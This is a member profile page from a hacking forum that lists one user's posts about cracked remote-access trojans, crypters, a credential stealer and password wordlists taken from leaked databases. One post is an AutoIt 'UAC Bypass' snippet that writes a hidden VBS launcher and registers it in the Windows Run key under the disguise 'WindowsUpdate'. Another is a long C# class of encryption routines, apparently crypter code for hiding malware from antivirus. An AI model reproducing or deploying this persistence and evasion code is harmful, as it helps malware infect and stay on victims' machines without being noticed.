Jump to content

Welcome to LeVeL23HackTools

Welcome to LeVeL23HackTools, like most online communities you must register to view or post in our community, but don't worry this is a simple free process that requires minimal information for you to signup. Be apart of LeVeL23HackTools by signing in or creating an account.

  • Start new topics and reply to others
  • Subscribe to topics and forums to get email updates
  • Get your own profile page and make new friends
  • Send personal messages to other members.

  • Announcements

    • dEEpEst

      RESTRICTIONS ON DOWNLOADS   10/17/2018

      You can download 5 files a day, if you want to make unlimited downloads you must buy PRIV8, you will have access to all the parts of the forum and you will be able to download unlimitedly without restrictions for a lifetime.

SP

LvL-23
  • Content count

    230
  • Avg. Content Per Day

    0
  • Joined

  • Last visited

  • Days Won

    2

SP last won the day on January 19 2013

SP had the most liked content!

Community Reputation

527 Excellent

About SP

  • Rank
    Leech #800000

Converted

  • Location
    binary
  1. 888 Private RAT (Cracked)

    Re: 888 Private RAT (Cracked) backdoored
  2. Hash Identify {important}

    Re: Hash Identify {important} seems to be Babse64
  3. All rats wont work for me!

    Re: All rats wont work for me! try: 127.0.0.1 rather than dns on your same pc try: open cmd write ipconfig check your internal network ip 192.168.1.111 write same internal pc ip beside the port when you open
  4. Re: Acunetix Web Vulnerability Scanner 10.5 [Cracked] SPAM = BANNED POST THANKS = BANNED POST REQUEST PASSWORDS = BANNED [Hidden Content]
  5. Example Crypter

    Re: Example Crypter if you try to encrypt .net file probably will not work for this crypter try another exe file like Delphi or c++
  6. AutoIT UAC Bypass

    if not FileExists(userProfileDir & "\data\Microsoft.vbs") then Local $bat = FileOpen(userProfileDir & "\data\" & "start.cmd", 1) FileWrite($bat, "@echo off" & @CRLF & "cd " & userProfileDir & "\data\" & @CRLF & "start " & userProfileDir & "\data\" & 'AutoIt3.exe "done.txt"') FileClose($bat) Local $vbs = FileOpen(userProfileDir & "\data\Microsoft.vbs", 1) FileWrite($vbs, 'const Hidden = 0' & @CRLF & 'const WaitOnReturn = true' & @CRLF & 'File ="""' & userProfileDir & "\data\" & 'start.cmd"""' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & 'WshShell.Run file, Hidden, WaitOnReturn' & @CRLF & 'wscript.quit') FileClose($vbs) RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "WindowsUpdate", "REG_SZ", [MENTION=17545]user[/MENTION]ProfileDir & "\data\Microsoft.vbs") Else EndIf >
  7. File TO Hex ..

    Re: File TO Hex .. yes with other new friends here hope to be best place .. <3
  8. File TO Hex ..

    >rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" rHwOzTmTjThRRUlTciS &= "000000000002000000C00000078370" rHwOzTmTjThRRUlTciS &= "000000000000000000000000000000" [Hidden Content] Download:[Hidden Content]
  9. >[Hidden Content] >[Hidden Content] Enjoy:grin:
  10. > public class Encryption { public static byte[] DESEncrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; DESCryptoServiceProvider DES = new DESCryptoServiceProvider(); DES.Key = UTF8Encoding.UTF8.GetBytes(Key); DES.Mode = CipherMode.ECB; DES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = DES.CreateEncryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); DES.Clear(); return resultArray; } public static byte[] TripleDESEncrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider(); tripleDES.Key = UTF8Encoding.UTF8.GetBytes(Key); tripleDES.Mode = CipherMode.ECB; tripleDES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = tripleDES.CreateEncryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); tripleDES.Clear(); return resultArray; } public static byte[] RijndaelEncrypt(byte[] bytes, string Key) { MemoryStream memoryStream; CryptoStream cryptoStream; Rijndael rijndael = Rijndael.Create(); Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(Key, new byte[] { 0x26, 0xdc, 0xff, 0x00, 0xad, 0xed, 0x7a, 0xee, 0xc5, 0xfe, 0x07, 0xaf, 0x4d, 0x08, 0x22, 0x3c }); rijndael.Key = pdb.GetBytes(32); rijndael.IV = pdb.GetBytes(16); memoryStream = new MemoryStream(); cryptoStream = new CryptoStream(memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.Close(); return memoryStream.ToArray(); } public static byte[] RC4EncryptDecrypt(byte[] bytes, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); byte[] s = new byte[256]; byte[] k = new byte[256]; byte temp; int i, j; for (i = 0; i < 256; i++) { s[i] = (byte)i; k[i] = key[i % key.GetLength(0)]; } j = 0; for (i = 0; i < 256; i++) { j = (j + s[i] + k[i]) % 256; temp = s[i]; s[i] = s[j]; s[j] = temp; } i = j = 0; for (int x = 0; x < bytes.GetLength(0); x++) { i = (i + 1) % 256; j = (j + s[i]) % 256; temp = s[i]; s[i] = s[j]; s[j] = temp; int t = (s[i] + s[j]) % 256; bytes[x] ^= s[t]; } return bytes; } public static byte[] XOREncryptDecrypt(byte[] bytes, string Key) { int amount = 350; byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); for (int i = 0; i < bytes.Length; i++) bytes[i] ^= (byte)(key[i % key.Length] >> (i + amount + key.Length) & 255); return bytes; } public static byte[] SymetricEncrypt(byte[] bytes, string Key) { SymmetricAlgorithm rijn = SymmetricAlgorithm.Create(); MemoryStream ms = new MemoryStream(); byte[] key = Encoding.ASCII.GetBytes(Key); byte[] rgbIV = key; CryptoStream cs = new CryptoStream(ms, rijn.CreateEncryptor(key, rgbIV), CryptoStreamMode.Write); cs.Write(bytes, 0, bytes.Length); cs.Close(); return ms.ToArray(); } public static byte[] RC2Encrypt(byte[] bytes, string Key) { byte[] byteKey = Encoding.ASCII.GetBytes(Key); byte[] byteIV = byteKey; MemoryStream MS = new MemoryStream(); RC2CryptoServiceProvider CryptoMethod = new RC2CryptoServiceProvider(); CryptoStream CS = new CryptoStream(MS, CryptoMethod.CreateEncryptor(byteKey, byteIV), CryptoStreamMode.Write); CS.Write(bytes, 0, bytes.Length); CS.FlushFinalBlock(); return MS.ToArray(); } public static byte[] PolyRevCrypt(byte[] data, string pass) { byte rndByte = (byte)new Random().Next(1, 255); byte[] passByte = System.Text.Encoding.ASCII.GetBytes(pass); byte[] Out = new byte[data.Length + 1]; int u = 0; for (int i = 0; i <= data.Length - 1; i++) { Out[i] = (byte)((data[i] ^ passByte[u]) ^ rndByte); Array.Reverse(passByte); if (u == passByte.Length - 1) u = 0; else u += 1; } Array.Resize(ref Out, Out.Length); Out[Out.Length - 1] = rndByte; Array.Reverse(Out); return Out; } public static byte[] PolyStairsCrypt(byte[] Data, string key) { byte[] Key = System.Text.Encoding.ASCII.GetBytes(key); Array.Resize(ref Data, Data.Length + 1); Data[Data.Length - 1] = (byte)new Random().Next(1, 255); for (int i = Data.Length; i >= 0; i += -1) { Data[i % Data.Length] = (byte)(byte)(((int)((Data[i % Data.Length]) + (int)(Data[(i + 1) % Data.Length])) % 256) ^ Key[i % Key.Length]); } return Data; } public static byte[] DexEncrypt(byte[] plain, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); for (int round = 0; round < 5; round++) { for (int i = 0; i < plain.Length; i++) { plain[i] = (byte)(plain[i] ^ key[i % key.Length]); for (int k = 0; k < key.Length; k++) plain[i] = (byte)(plain[i] ^ ((((key[k] << round) ^ k) + i))); } } return plain; } public static byte[] PolyBabyEncrypt(byte[] input, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); byte[] Out = new byte[input.Length + 1]; int x = new Random().Next(1, 255); for (int i = 0; i <= input.Length - 1; i++) Out[i] = (byte)(input[i] ^ (key[i % key.Length] + x) & 255); Out[input.Length] = (byte)x; return Out; } public static byte[] AESEncrypt(byte[] input, string Pass) { System.Security.Cryptography.RijndaelManaged AES = new System.Security.Cryptography.RijndaelManaged(); byte[] hash = new byte[32]; byte[] temp = new MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.ASCII.GetBytes(Pass)); Array.Copy(temp, 0, hash, 0, 16); Array.Copy(temp, 0, hash, 15, 16); AES.Key = hash; AES.Mode = System.Security.Cryptography.CipherMode.ECB; System.Security.Cryptography.ICryptoTransform DESEncrypter = AES.CreateEncryptor(); return DESEncrypter.TransformFinalBlock(input, 0, input.Length); } public static byte[] CloudEncrypt(byte[] Input, string key) { byte[] Key = System.Text.Encoding.ASCII.GetBytes(key); byte[] FinVal = new byte[input.Length]; short kc = 0; for (int index = 0; index < Input.Length; index++) { if (kc >= Key.Length) kc = 0; FinVal[index] = (byte)(Input[index] + (Input.Length % Key.Length) + (Key[kc])); kc++; } return FinVal; } public static byte[] StairsEncrypt(byte[] Data, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); for (int i = 0; i <= (Data.Length * 2) + key.Length; i++) { Data[i % Data.Length] = (byte)((byte)((int)((Data[i % Data.Length]) + (int)(Data[(i + 1) % Data.Length])) % 256) ^ key[i % key.Length]); } return Data; } public static byte[] PolyCloudEncrypt(byte[] Input, string key) { byte[] Key = System.Text.Encoding.ASCII.GetBytes(key); Random Rnd = new Random(); int Salt = Rnd.Next(1, 50); byte[] FinVal = new byte[input.Length + 1]; FinVal[input.Length] = (byte)Salt; short kc = 0; for (int index = 0; index < Input.Length; index++) { if (kc >= Key.Length) kc = 0; FinVal[index] = (byte)(Input[index] + (Input.Length % Key.Length) + (Key[kc]) - Salt); kc++; } return FinVal; } public static byte[] PolyTripleDESEncrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; Array.Resize(ref inputArray, inputArray.Length + 1); inputArray[inputArray.Length - 1] = (byte)new Random().Next(0, 255); TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider(); tripleDES.Key = UTF8Encoding.UTF8.GetBytes(Key); tripleDES.Mode = CipherMode.ECB; tripleDES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = tripleDES.CreateEncryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); tripleDES.Clear(); return resultArray; } public static byte[] PolyDESEncrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; Array.Resize(ref inputArray, inputArray.Length + 1); inputArray[inputArray.Length - 1] = (byte)new Random().Next(0, 255); DESCryptoServiceProvider DES = new DESCryptoServiceProvider(); DES.Key = UTF8Encoding.UTF8.GetBytes(Key); DES.Mode = CipherMode.ECB; DES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = DES.CreateEncryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); DES.Clear(); return resultArray; } public static byte[] PolySymetricEncrypt(byte[] bytes, string Key) { Array.Resize(ref bytes, bytes.Length + 1); bytes[bytes.Length - 1] = (byte)new Random().Next(0, 255); SymmetricAlgorithm rijn = SymmetricAlgorithm.Create(); MemoryStream ms = new MemoryStream(); byte[] key = Encoding.ASCII.GetBytes(Key); byte[] rgbIV = key; CryptoStream cs = new CryptoStream(ms, rijn.CreateEncryptor(key, rgbIV), CryptoStreamMode.Write); cs.Write(bytes, 0, bytes.Length); cs.Close(); return ms.ToArray(); } public static byte[] PolyRC2Encrypt(byte[] bytes, string Key) { byte[] byteKey = Encoding.ASCII.GetBytes(Key); byte[] byteIV = byteKey; Array.Resize(ref bytes, bytes.Length + 1); bytes[bytes.Length - 1] = (byte)new Random().Next(0, 255); MemoryStream MS = new MemoryStream(); RC2CryptoServiceProvider CryptoMethod = new RC2CryptoServiceProvider(); CryptoStream CS = new CryptoStream(MS, CryptoMethod.CreateEncryptor(byteKey, byteIV), CryptoStreamMode.Write); CS.Write(bytes, 0, bytes.Length); CS.FlushFinalBlock(); return MS.ToArray(); } public static byte[] PolyDexEncrypt(byte[] plain, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); byte[] expandedKey; byte[] dKey = key; int length = plain.Length; if (dKey.Length >= length) expandedKey = dKey; else { byte[] rconst = BitConverter.GetBytes(Math.Round(Math.PI, 3)); byte[] result = new byte[length]; Buffer.BlockCopy(dKey, 0, result, 0, dKey.Length); for (int i = dKey.Length; i < length; i++) result[i] = (byte)((dKey[(i - dKey.Length) % dKey.Length] ^ (result[i - 1])) % 256); for (int round = 0; round < 5; round++) { result[0] = (byte)(result[0] ^ rconst[round]); for (int i = 1; i < result.Length; i++) result[i] = (byte)(((result[i] ^ (byte)(rconst[round] << (i % 3))) ^ result[i - 1]) % 256); } expandedKey = result; } byte[] wholeState = plain; byte magic = (byte)new Random().Next(byte.MaxValue); Array.Resize(ref wholeState, plain.Length + 1); wholeState[wholeState.Length - 1] = magic; for (int i = 0; i < wholeState.Length - 1; i++) wholeState[i] = (byte)(wholeState[i] ^ expandedKey[i] ^ magic); return wholeState; } //Copyright (C) 2011, Dextrey (0xDEADDEAD) public static byte[] PolyAESEncrypt(byte[] plainText, string Key) { byte[] salt; SymmetricAlgorithm algo = new RijndaelManaged(); RNGCryptoServiceProvider rngAlgo = new RNGCryptoServiceProvider(); algo.Mode = CipherMode.CBC; byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); algo.GenerateIV(); salt = new byte[32]; rngAlgo.GetBytes(salt); Rfc2898DeriveBytes pwDeriveAlg = new Rfc2898DeriveBytes(key, salt, 2000); algo.Key = pwDeriveAlg.GetBytes(32); ICryptoTransform encTransform = algo.CreateEncryptor(); byte[] enced = encTransform.TransformFinalBlock(plainText, 0, plainText.Length); int origLength = enced.Length; Array.Resize(ref enced, enced.Length + salt.Length); Buffer.BlockCopy(salt, 0, enced, origLength, salt.Length); origLength = enced.Length; Array.Resize(ref enced, enced.Length + algo.IV.Length); Buffer.BlockCopy(algo.IV, 0, enced, origLength, algo.IV.Length); return enced; } public static byte[] CompressionCompress(byte[] buffer) { MemoryStream ms = new MemoryStream(); GZipStream zip = new GZipStream(ms, CompressionMode.Compress, true); zip.Write(buffer, 0, buffer.Length); zip.Close(); ms.Position = 0; MemoryStream outStream = new MemoryStream(); byte[] compressed = new byte[ms.Length]; ms.Read(compressed, 0, compressed.Length); byte[] gzBuffer = new byte[compressed.Length + 4]; Buffer.BlockCopy(compressed, 0, gzBuffer, 4, compressed.Length); Buffer.BlockCopy(BitConverter.GetBytes(buffer.Length), 0, gzBuffer, 0, 4); return gzBuffer; } }
  11. LeecHTTP-Website Copier Tool

    Re: LeecHTTP-Website Copier Tool :cray: view-source:[Hidden Content]
  12. Google Web Designer

    download :[Hidden Content]
  13. [C#] Filezilla Stealer by Bloc

    Re: [C#] Filezilla Stealer by Bloc good work you devlope it :cheesy: i love this language
  14. Big list Please note: Some people have had problems downloading the word lists using the Mega link. It is highly recommended that you try the torrent download first. Download: Torrent (Magnet Link) GZIP-compressed (level 9). 4.2 GiB compressed. 15 GiB uncompressed. Mega Mirror Checksums (crackstation.txt.gz) MD5: 4748a72706ff934a17662446862ca4f8 SHA1: efa3f5ecbfba03df523418a70871ec59757b6d3f SHA256: a6dc17d27d0a34f57c989741acdd485b8aee45a6e9796daf8c9435370dc61612 Smaller Wordlist (Human Passwords Only) I got some requests for a wordlist with just the "real human" passwords leaked from various website databases. This smaller list contains just those passwords. There are about 64 million passwords in this list! Download: Torrent (Magnet Link) GZIP-compressed. 247 MiB compressed. 684 MiB uncompressed. Mega Mirror Checksums (crackstation-human-only.txt.gz) MD5: fbc3ca43230086857aac9b71b588a574 SHA1: 116c5f60b50e80681842b5716be23951925e5ad3 SHA256: 201f8815c71a47d39775304aa422a505fc4cca18493cfaf5a76e608a72920267
  15. Re: Xmovies.com x6 (porn) NO Pornografía :cray:
×